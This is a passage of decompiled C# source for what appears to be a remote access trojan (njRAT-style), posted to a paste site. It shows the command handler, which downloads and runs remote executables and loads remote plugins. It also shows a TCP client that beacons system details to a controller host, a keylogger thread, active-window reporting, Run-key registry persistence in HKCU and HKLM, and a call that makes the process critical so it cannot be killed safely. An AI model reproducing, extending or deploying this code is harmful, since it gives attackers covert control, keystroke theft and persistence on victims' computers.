  842.             try
  843.             {
  844.               bytes = webClient.DownloadData(strArray1[1]);
  845.             }
  846.             catch (Exception ex)
  847.             {
  848.               ProjectData.SetProjectError(ex);
  849.               OK.Send("MSG" + OK.Y + "Update ERROR");
  850.               OK.Send("bla");
  851.               ProjectData.ClearProjectError();
  852.               return;
  853.             }
  854.           }
  855.           OK.Send("bla");
  856.           string str = Path.GetTempFileName() + ".exe";
  857.           try
  858.           {
  859.             OK.Send("MSG" + OK.Y + "Updating To " + new FileInfo(str).Name);
  860.             Thread.Sleep(2000);
  861.             System.IO.File.WriteAllBytes(str, bytes);
  862.             Process.Start(str, "..");
  863.           }
  864.           catch (Exception ex)
  865.           {
  866.             ProjectData.SetProjectError(ex);
  867.             Exception exception = ex;
  868.             OK.Send("MSG" + OK.Y + "Update ERROR " + exception.Message);
  869.             ProjectData.ClearProjectError();
  870.             return;
  871.           }
  872.           OK.UNS();
  873.         }
  874.         else if (Operators.CompareString(Left1, "Ex", false) == 0)
  875.         {
  876.           if (OK.PLG == null)
  877.           {
  878.             OK.Send("PLG");
  879.             int num = 0;
  880.             while (!(OK.PLG != null | num == 20 | !OK.Cn))
  881.             {
  882.               checked { ++num; }
  883.               Thread.Sleep(1000);
  884.             }
  885.             if (OK.PLG == null | !OK.Cn)
  886.               return;
  887.           }
  888.           object Instance = OK.PLG;
  889.           // ISSUE: variable of the null type
  890.           __Null local1 = null;
  891.           string MemberName = "ind";
  892.           object[] objArray = new object[1]
  893.           {
  894.             (object) b
  895.           };
  896.           object[] Arguments = objArray;
  897.           // ISSUE: variable of the null type
  898.           __Null local2 = null;
  899.           // ISSUE: variable of the null type
  900.           __Null local3 = null;
  901.           bool[] flagArray = new bool[1]
  902.           {
  903.             true
  904.           };
  905.           bool[] CopyBack = flagArray;
  906.           int num1 = 1;
  907.           NewLateBinding.LateCall(Instance, (System.Type) local1, MemberName, Arguments, (string[]) local2, (System.Type[]) local3, CopyBack, num1 != 0);
  908.           if (!flagArray[0])
  909.             return;
  910.           b = (byte[]) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (byte[]));
  911.         }
  912.         else
  913.         {
  914.           if (Operators.CompareString(Left1, "PLG", false) != 0)
  915.             return;
  916.           MemoryStream memoryStream = new MemoryStream();
  917.           int length = (strArray1[0] + OK.Y).Length;
  918.           memoryStream.Write(b, length, checked (b.Length - length));
  919.           OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(OK.ZIP(memoryStream.ToArray()), "A"));
  920.           NewLateBinding.LateSet(OK.PLG, (System.Type) null, "H", new object[1]
  921.           {
  922.             (object) OK.H
  923.           }, (string[]) null, (System.Type[]) null);
  924.           NewLateBinding.LateSet(OK.PLG, (System.Type) null, "P", new object[1]
  925.           {
  926.             (object) OK.P
  927.           }, (string[]) null, (System.Type[]) null);
  928.           NewLateBinding.LateSet(OK.PLG, (System.Type) null, "c", new object[1]
  929.           {
  930.             (object) OK.C
  931.           }, (string[]) null, (System.Type[]) null);
  932.         }
  933.       }
  934.       catch (Exception ex1)
  935.       {
  936.         ProjectData.SetProjectError(ex1);
  937.         Exception exception = ex1;
  938.         if (strArray1.Length > 0)
  939.         {
  940.           if (Operators.CompareString(strArray1[0], "Ex", false) == 0 | Operators.CompareString(strArray1[0], "PLG", false) == 0)
  941.             OK.PLG = (object) null;
  942.         }
  943.         try
  944.         {
  945.           OK.Send("ER" + OK.Y + strArray1[0] + OK.Y + exception.Message);
  946.         }
  947.         catch (Exception ex2)
  948.         {
  949.           ProjectData.SetProjectError(ex2);
  950.           ProjectData.ClearProjectError();
  951.         }
  952.         ProjectData.ClearProjectError();
  953.       }
  954.     }
  955.  
  956.     public static string md5(byte[] B)
  957.     {
  958.       B = new MD5CryptoServiceProvider().ComputeHash(B);
  959.       string str = "";
  960.       byte[] numArray = B;
  961.       int index = 0;
  962.       while (index < numArray.Length)
  963.       {
  964.         byte num = numArray[index];
  965.         str = str + num.ToString("x2");
  966.         checked { ++index; }
  967.       }
  968.       return str;
  969.     }
  970.  
  971.     public static void pr(int i)
  972.     {
  973.       try
  974.       {
  975.         OK.NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
  976.       }
  977.       catch (Exception ex)
  978.       {
  979.         ProjectData.SetProjectError(ex);
  980.         ProjectData.ClearProjectError();
  981.       }
  982.     }
  983.  
  984.     public static bool Sendb(byte[] b)
  985.     {
  986.       if (!OK.Cn)
  987.         return false;
  988.       try
  989.       {
  990.         FileInfo fileInfo = OK.LO;
  991.         Monitor.Enter((object) fileInfo);
  992.         try
  993.         {
  994.           if (!OK.Cn)
  995.             return false;
  996.           MemoryStream memoryStream = new MemoryStream();
  997.           string S = b.Length.ToString() + "\0";
  998.           byte[] buffer = OK.SB(ref S);
  999.           memoryStream.Write(buffer, 0, buffer.Length);
  1000.           memoryStream.Write(b, 0, b.Length);
  1001.           OK.C.Client.Send(memoryStream.ToArray(), 0, checked ((int) memoryStream.Length), SocketFlags.None);
  1002.         }
  1003.         finally
  1004.         {
  1005.           Monitor.Exit((object) fileInfo);
  1006.         }
  1007.       }
  1008.       catch (Exception ex1)
  1009.       {
  1010.         ProjectData.SetProjectError(ex1);
  1011.         try
  1012.         {
  1013.           if (OK.Cn)
  1014.           {
  1015.             OK.Cn = false;
  1016.             OK.C.Close();
  1017.           }
  1018.         }
  1019.         catch (Exception ex2)
  1020.         {
  1021.           ProjectData.SetProjectError(ex2);
  1022.           ProjectData.ClearProjectError();
  1023.         }
  1024.         ProjectData.ClearProjectError();
  1025.       }
  1026.       return OK.Cn;
  1027.     }
  1028.  
  1029.     public static bool Send(string S)
  1030.     {
  1031.       return OK.Sendb(OK.SB(ref S));
  1032.     }
  1033.  
  1034.     public static bool connect()
  1035.     {
  1036.       OK.Cn = false;
  1037.       Thread.Sleep(2000);
  1038.       FileInfo fileInfo = OK.LO;
  1039.       Monitor.Enter((object) fileInfo);
  1040.       try
  1041.       {
  1042.         try
  1043.         {
  1044.           if (OK.C != null)
  1045.           {
  1046.             try
  1047.             {
  1048.               OK.C.Close();
  1049.               OK.C = (TcpClient) null;
  1050.             }
  1051.             catch (Exception ex)
  1052.             {
  1053.               ProjectData.SetProjectError(ex);
  1054.               ProjectData.ClearProjectError();
  1055.             }
  1056.           }
  1057.           try
  1058.           {
  1059.             OK.MeM.Dispose();
  1060.           }
  1061.           catch (Exception ex)
  1062.           {
  1063.             ProjectData.SetProjectError(ex);
  1064.             ProjectData.ClearProjectError();
  1065.           }
  1066.         }
  1067.         catch (Exception ex)
  1068.         {
  1069.           ProjectData.SetProjectError(ex);
  1070.           ProjectData.ClearProjectError();
  1071.         }
  1072.         try
  1073.         {
  1074.           OK.MeM = new MemoryStream();
  1075.           OK.C = new TcpClient();
  1076.           OK.C.ReceiveBufferSize = 204800;
  1077.           OK.C.SendBufferSize = 204800;
  1078.           OK.C.Client.SendTimeout = 10000;
  1079.           OK.C.Client.ReceiveTimeout = 10000;
  1080.           OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));
  1081.           OK.Cn = true;
  1082.           OK.Send(OK.inf());
  1083.           try
  1084.           {
  1085.             string str1;
  1086.             string str2;
  1087.             if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", (object) ""), (object) "", false))
  1088.             {
  1089.               str2 = str1 + OK.DEB(ref OK.VN) + "\r\n";
  1090.             }
  1091.             else
  1092.             {
  1093.               string str3 = str1;
  1094.               string s = Conversions.ToString(OK.GTV("vn", (object) ""));
  1095.               string str4 = OK.DEB(ref s);
  1096.               string str5 = "\r\n";
  1097.               str2 = str3 + str4 + str5;
  1098.             }
  1099.             string s1 = str2 + OK.H + ":" + OK.P + "\r\n" + OK.DR + "\r\n" + OK.EXE + "\r\n" + Conversions.ToString(OK.Idr) + "\r\n" + Conversions.ToString(OK.IsF) + "\r\n" + Conversions.ToString(OK.Isu) + "\r\n" + Conversions.ToString(OK.BD);
  1100.             OK.Send("inf" + OK.Y + OK.ENB(ref s1));
  1101.           }
  1102.           catch (Exception ex)
  1103.           {
  1104.             ProjectData.SetProjectError(ex);
  1105.             ProjectData.ClearProjectError();
  1106.           }
  1107.         }
  1108.         catch (Exception ex)
  1109.         {
  1110.           ProjectData.SetProjectError(ex);
  1111.           OK.Cn = false;
  1112.           ProjectData.ClearProjectError();
  1113.         }
  1114.       }
  1115.       finally
  1116.       {
  1117.         Monitor.Exit((object) fileInfo);
  1118.       }
  1119.       return OK.Cn;
  1120.     }
  1121.  
  1122.     public static void RC()
  1123.     {
  1124.       while (true)
  1125.       {
  1126.         OK.lastcap = "";
  1127.         if (OK.C != null)
  1128.         {
  1129.           long num1 = -1L;
  1130.           int num2 = 0;
  1131.           try
  1132.           {
  1133.             while (true)
  1134.             {
  1135.               do
  1136.               {
  1137.                 checked { ++num2; }
  1138.                 if (num2 == 10)
  1139.                 {
  1140.                   num2 = 0;
  1141.                   Thread.Sleep(1);
  1142.                 }
  1143.                 if (OK.Cn)
  1144.                 {
  1145.                   if (OK.C.Available < 1)
  1146.                     OK.C.Client.Poll(-1, SelectMode.SelectRead);
  1147.                   do
  1148.                   {
  1149.                     if ((uint) OK.C.Available > 0U)
  1150.                     {
  1151.                       if (num1 == -1L)
  1152.                       {
  1153.                         string str = "";
  1154.                         while (true)
  1155.                         {
  1156.                           int CharCode = OK.C.GetStream().ReadByte();
  1157.                           switch (CharCode)
  1158.                           {
  1159.                             case -1:
  1160.                               goto label_20;
  1161.                             case 0:
  1162.                               goto label_11;
  1163.                             default:
  1164.                               str = str + Conversions.ToString(Conversions.ToInteger(Strings.ChrW(CharCode).ToString()));
  1165.                               continue;
  1166.                           }
  1167.                         }
  1168. label_11:
  1169.                         num1 = Conversions.ToLong(str);
  1170.                         if (num1 == 0L)
  1171.                         {
  1172.                           OK.Send("");
  1173.                           num1 = -1L;
  1174.                         }
  1175.                       }
  1176.                       else
  1177.                         goto label_15;
  1178.                     }
  1179.                     else
  1180.                       goto label_20;
  1181.                   }
  1182.                   while (OK.C.Available > 0);
  1183.                   continue;
  1184. label_15:
  1185.                   OK.b = new byte[checked (OK.C.Available + 1)];
  1186.                   long num3 = checked (num1 - OK.MeM.Length);
  1187.                   if ((long) OK.b.Length > num3)
  1188.                     OK.b = new byte[checked ((int) (num3 - 1L) + 1)];
  1189.                   int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
  1190.                   OK.MeM.Write(OK.b, 0, count);
  1191.                 }
  1192.                 else
  1193.                   goto label_20;
  1194.               }
  1195.               while (OK.MeM.Length != num1);
  1196.               num1 = -1L;
  1197.               Thread thread = new Thread((ParameterizedThreadStart) (a0 => OK.Ind((byte[]) a0)), 1);
  1198.               thread.Start((object) OK.MeM.ToArray());
  1199.               thread.Join(100);
  1200.               OK.MeM.Dispose();
  1201.               OK.MeM = new MemoryStream();
  1202.             }
  1203.           }
  1204.           catch (Exception ex)
  1205.           {
  1206.             ProjectData.SetProjectError(ex);
  1207.             ProjectData.ClearProjectError();
  1208.           }
  1209.         }
  1210. label_20:
  1211.         do
  1212.         {
  1213.           try
  1214.           {
  1215.             if (OK.PLG != null)
  1216.             {
  1217.               NewLateBinding.LateCall(OK.PLG, (System.Type) null, "clear", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
  1218.               OK.PLG = (object) null;
  1219.             }
  1220.           }
  1221.           catch (Exception ex)
  1222.           {
  1223.             ProjectData.SetProjectError(ex);
  1224.             ProjectData.ClearProjectError();
  1225.           }
  1226.           OK.Cn = false;
  1227.         }
  1228.         while (!OK.connect());
  1229.         OK.Cn = true;
  1230.       }
  1231.     }
  1232.  
  1233.     public static void ko()
  1234.     {
  1235.       if (Interaction.Command() != null)
  1236.       {
  1237.         try
  1238.         {
  1239.           OK.F.Registry.CurrentUser.SetValue("di", (object) "!");
  1240.         }
  1241.         catch (Exception ex)
  1242.         {
  1243.           ProjectData.SetProjectError(ex);
  1244.           ProjectData.ClearProjectError();
  1245.         }
  1246.         Thread.Sleep(5000);
  1247.       }
  1248.       bool createdNew = false;
  1249.       OK.MT = (object) new Mutex(true, OK.RG, out createdNew);
  1250.       if (!createdNew)
  1251.         ProjectData.EndApp();
  1252.       OK.INS();
  1253.       if (!OK.Idr)
  1254.       {
  1255.         OK.EXE = OK.LO.Name;
  1256.         OK.DR = OK.LO.Directory.Name;
  1257.       }
  1258.       new Thread(new ThreadStart(OK.RC), 1).Start();
  1259.       try
  1260.       {
  1261.         OK.kq = new kl();
  1262.         new Thread(new ThreadStart(OK.kq.WRK), 1).Start();
  1263.       }
  1264.       catch (Exception ex)
  1265.       {
  1266.         ProjectData.SetProjectError(ex);
  1267.         ProjectData.ClearProjectError();
  1268.       }
  1269.       int num = 0;
  1270.       string Left = "";
  1271.       if (OK.BD)
  1272.       {
  1273.         try
  1274.         {
  1275.           SystemEvents.SessionEnding += (SessionEndingEventHandler) ((a0, a1) => OK.ED());
  1276.           OK.pr(1);
  1277.         }
  1278.         catch (Exception ex)
  1279.         {
  1280.           ProjectData.SetProjectError(ex);
  1281.           ProjectData.ClearProjectError();
  1282.         }
  1283.       }
  1284.       while (true)
  1285.       {
  1286.         Thread.Sleep(1000);
  1287.         if (!OK.Cn)
  1288.           Left = "";
  1289.         Application.DoEvents();
  1290.         try
  1291.         {
  1292.           checked { ++num; }
  1293.           if (num == 5)
  1294.           {
  1295.             try
  1296.             {
  1297.               Process.GetCurrentProcess().MinWorkingSet = (IntPtr) 1024;
  1298.             }
  1299.             catch (Exception ex)
  1300.             {
  1301.               ProjectData.SetProjectError(ex);
  1302.               ProjectData.ClearProjectError();
  1303.             }
  1304.           }
  1305.           if (num >= 8)
  1306.           {
  1307.             num = 0;
  1308.             string Right = OK.ACT();
  1309.             if (Operators.CompareString(Left, Right, false) != 0)
  1310.             {
  1311.               Left = Right;
  1312.               OK.Send("act" + OK.Y + Right);
  1313.             }
  1314.           }
  1315.           if (OK.Isu)
  1316.           {
  1317.             try
  1318.             {
  1319.               if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, (object) ""), (object) ("\"" + OK.LO.FullName + "\" .."), false))
  1320.                 OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
  1321.             }
  1322.             catch (Exception ex)
  1323.             {
  1324.               ProjectData.SetProjectError(ex);
  1325.               ProjectData.ClearProjectError();
  1326.             }
  1327.             try
  1328.             {
  1329.               if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, (object) ""), (object) ("\"" + OK.LO.FullName + "\" .."), false))
  1330.                 OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
  1331.             }
  1332.             catch (Exception ex)
  1333.             {
  1334.               ProjectData.SetProjectError(ex);
  1335.               ProjectData.ClearProjectError();
  1336.             }
  1337.           }
  1338.         }
  1339.         catch (Exception ex)
  1340.         {
  1341.           ProjectData.SetProjectError(ex);
  1342.           ProjectData.ClearProjectError();
  1343.         }
  1344.       }
  1345.     }
  1346.   }
  1347. }
Add Comment
Please, Sign In to add comment